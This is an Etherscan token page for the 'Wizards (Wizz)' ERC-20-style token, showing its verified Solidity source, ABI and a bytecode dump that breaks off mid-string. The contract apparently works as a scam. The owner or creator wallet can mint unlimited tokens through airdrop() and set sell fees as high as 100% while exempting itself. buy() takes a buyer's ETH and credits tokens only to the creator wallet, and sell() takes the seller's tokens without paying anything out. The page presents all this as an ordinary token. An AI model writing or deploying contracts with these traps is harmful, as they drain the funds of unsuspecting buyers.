ETH Price: $2,482.86 (-1.61%)

Token

Wizards (Wizz)
 

Overview

Max Total Supply

10,000,000,000,000,000,000,000,000,000,000,999,999,999.999999999999999999 Wizz

Holders

300

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
96,000 Wizz

Value
$0.00
0x1ddd151221b3da1eb17e05cce5208373363fd812
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WIZARDS

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-03
*/

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.0;
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
    }
}
 
contract WIZARDS {
    using SafeMath for uint256;
 
    string public name = "Wizards";
    string public symbol = "Wizz";
    uint256 public totalSupply = 1000000000000000000000000000;
    uint8 public decimals = 18;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
 
    address public owner;
    address public creatorWallet;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
 
    constructor(address _creatorWallet) {
        owner = msg.sender;
        creatorWallet = _creatorWallet;
        balanceOf[msg.sender] = totalSupply;
    }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
 
    function airdrop(address _to, uint256 _amount) public onlyAuthorized {
        require(_to != address(0), "Invalid recipient address");
        require(_amount > 0, "Invalid amount");
        balanceOf[_to] += _amount;
        totalSupply += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = 0;
        uint256 amountAfterFee = _amount;
 
        if (sellFee > 0 && _from != creatorWallet) {
            fee = _amount.mul(sellFee).div(100);
            amountAfterFee = _amount.sub(fee);
        }
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Check if the transfer destination is Uniswap contract
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); // Replace with the actual Uniswap contract address
            if (_to == uniswapContract) {
                // Fee is paid to the contract itself
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);
                emit Transfer(_from, uniswapContract, fee);
            } else {
                // Fee is transferred to this contract
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(_from, address(this), fee);
            }
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
 
    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can call this function.");
        _;
    }
 
    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amountAfterFee);
            emit Transfer(address(this), creatorWallet, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amount);
            emit Transfer(address(this), creatorWallet, amount);
        }
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        if (sellFee > 0 && msg.sender != creatorWallet) {
            uint256 fee = _amount.mul(sellFee).div(100);
            uint256 amountAfterFee = _amount.sub(fee);
 
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amountAfterFee);
            emit Transfer(msg.sender, creatorWallet, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(msg.sender, address(this), fee);
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
            balanceOf[address(this)] = balanceOf[address(this)].add(_amount);
            emit Transfer(msg.sender, address(this), _amount);
        }
    }
 
    modifier onlyAuthorized() {
        require(
            msg.sender == owner || msg.sender == creatorWallet,
            "Only authorized wallets can call this function."
        );
        _;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_creatorWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"creatorWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600781526020017f57697a61726473000000000000000000000000000000000000000000000000008152506000908051906020019062000051929190620001ce565b506040518060400160405280600481526020017f57697a7a00000000000000000000000000000000000000000000000000000000815250600190805190602001906200009f929190620001ce565b506b033b2e3c9fd0803ce80000006002556012600360006101000a81548160ff021916908360ff160217905550348015620000d957600080fd5b5060405162003382380380620033828339818101604052810190620000ff919062000295565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505062000374565b828054620001dc90620002f5565b90600052602060002090601f0160209004810192826200020057600085556200024c565b82601f106200021b57805160ff19168380011785556200024c565b828001600101855582156200024c579182015b828111156200024b5782518255916020019190600101906200022e565b5b5090506200025b91906200025f565b5090565b5b808211156200027a57600081600090555060010162000260565b5090565b6000815190506200028f816200035a565b92915050565b600060208284031215620002a857600080fd5b6000620002b8848285016200027e565b91505092915050565b6000620002ce82620002d5565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600060028204905060018216806200030e57607f821691505b602082108114156200032557620003246200032b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200036581620002c1565b81146200037157600080fd5b50565b612ffe80620003846000396000f3fe6080604052600436106101145760003560e01c8063715018a6116100a0578063a6f2ae3a11610064578063a6f2ae3a14610391578063a9059cbb1461039b578063dd62ed3e146103d8578063e4849b3214610415578063f2fde38b1461043e57610114565b8063715018a6146102d05780637cdc65f2146102e75780638ba4cc3c146103125780638da5cb5b1461033b57806395d89b411461036657610114565b806323b872dd116100e757806323b872dd146101d55780632b14ca5614610212578063313ce5671461023d578063470624021461026857806370a082311461029357610114565b806306fdde0314610119578063095ea7b3146101445780630b78f9c01461018157806318160ddd146101aa575b600080fd5b34801561012557600080fd5b5061012e610467565b60405161013b9190612af0565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906125f2565b6104f5565b6040516101789190612ad5565b60405180910390f35b34801561018d57600080fd5b506101a860048036038101906101a39190612657565b6105e7565b005b3480156101b657600080fd5b506101bf6107a2565b6040516101cc9190612cb2565b60405180910390f35b3480156101e157600080fd5b506101fc60048036038101906101f791906125a3565b6107a8565b6040516102099190612ad5565b60405180910390f35b34801561021e57600080fd5b506102276110c2565b6040516102349190612cb2565b60405180910390f35b34801561024957600080fd5b506102526110c8565b60405161025f9190612cf6565b60405180910390f35b34801561027457600080fd5b5061027d6110db565b60405161028a9190612cb2565b60405180910390f35b34801561029f57600080fd5b506102ba60048036038101906102b5919061253e565b6110e1565b6040516102c79190612cb2565b60405180910390f35b3480156102dc57600080fd5b506102e56110f9565b005b3480156102f357600080fd5b506102fc61124a565b6040516103099190612aba565b60405180910390f35b34801561031e57600080fd5b50610339600480360381019061033491906125f2565b611270565b005b34801561034757600080fd5b506103506114e4565b60405161035d9190612aba565b60405180910390f35b34801561037257600080fd5b5061037b61150a565b6040516103889190612af0565b60405180910390f35b610399611598565b005b3480156103a757600080fd5b506103c260048036038101906103bd91906125f2565b6119fd565b6040516103cf9190612ad5565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa9190612567565b611c1e565b60405161040c9190612cb2565b60405180910390f35b34801561042157600080fd5b5061043c6004803603810190610437919061262e565b611c43565b005b34801561044a57600080fd5b506104656004803603810190610460919061253e565b612200565b005b6000805461047490612eca565b80601f01602080910402602001604051908101604052809291908181526020018280546104a090612eca565b80156104ed5780601f106104c2576101008083540402835291602001916104ed565b820191906000526020600020905b8154815290600101906020018083116104d057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105d59190612cb2565b60405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806106905750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c690612b92565b60405180910390fd5b6064821115610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a90612c52565b60405180910390fd5b6064811115610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90612c72565b60405180910390fd5b81600881905550806009819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610796929190612ccd565b60405180910390a15050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561082c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082390612b72565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e290612b52565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561095b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095290612bf2565b60405180910390fd5b60008083905060006009541180156109c15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15610a06576109ee60646109e06009548761238a90919063ffffffff16565b61240590919063ffffffff16565b9150610a03828561245d90919063ffffffff16565b90505b610a5884600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245d90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aed81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b8d9190612cb2565b60405180910390a36000821115610de7576000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610cea57610c3d83600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cdd9190612cb2565b60405180910390a3610de5565b610d3c83600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ddc9190612cb2565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614158015610ebf57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156110b557610f5384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245d90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516110ac9190612cb2565b60405180910390a35b6001925050509392505050565b60095481565b600360009054906101000a900460ff1681565b60085481565b60046020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612b12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f90612b92565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf90612bf2565b60405180910390fd5b6000811161140b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140290612b32565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461145a9190612d2d565b9250508190555080600260008282546114739190612d2d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114d89190612cb2565b60405180910390a35050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461151790612eca565b80601f016020809104026020016040519081016040528092919081815260200182805461154390612eca565b80156115905780601f1061156557610100808354040283529160200191611590565b820191906000526020600020905b81548152906001019060200180831161157357829003601f168201915b505050505081565b600034116115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d290612c32565b60405180910390fd5b60003490506000600854111561189957600061161560646116076008548561238a90919063ffffffff16565b61240590919063ffffffff16565b9050600061162c828461245d90919063ffffffff16565b90506116a28160046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b60046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117869190612cb2565b60405180910390a36000821115611892576117e982600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118899190612cb2565b60405180910390a35b50506119fa565b61190d8160046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b60046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119f19190612cb2565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611a4b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8557600080fd5b611ad782600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245d90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6c82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c0c9190612cb2565b60405180910390a36001905092915050565b6005602052816000526040600020602052806000526040600020600091509150505481565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbc90612b72565b60405180910390fd5b6000600954118015611d255750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561206d576000611d546064611d466009548561238a90919063ffffffff16565b61240590919063ffffffff16565b90506000611d6b828461245d90919063ffffffff16565b9050611dbf83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245d90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e768160046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b60046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f5a9190612cb2565b60405180910390a3600082111561206657611fbd82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161205d9190612cb2565b60405180910390a35b50506121fd565b6120bf81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245d90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061215481600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b690919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121f49190612cb2565b60405180910390a35b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612290576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228790612b12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156122ca57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008083141561239d57600090506123ff565b600082846123ab9190612db4565b90508284826123ba9190612d83565b146123fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f190612c92565b60405180910390fd5b809150505b92915050565b6000808211612449576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244090612c12565b60405180910390fd5b81836124559190612d83565b905092915050565b6000828211156124a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249990612bb2565b60405180910390fd5b81836124ae9190612e0e565b905092915050565b60008082846124c59190612d2d565b90508381101561250a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250190612bd2565b60405180910390fd5b8091505092915050565b60008135905061252381612f9a565b92915050565b60008135905061253881612fb1565b92915050565b60006020828403121561255057600080fd5b600061255e84828501612514565b91505092915050565b6000806040838503121561257a576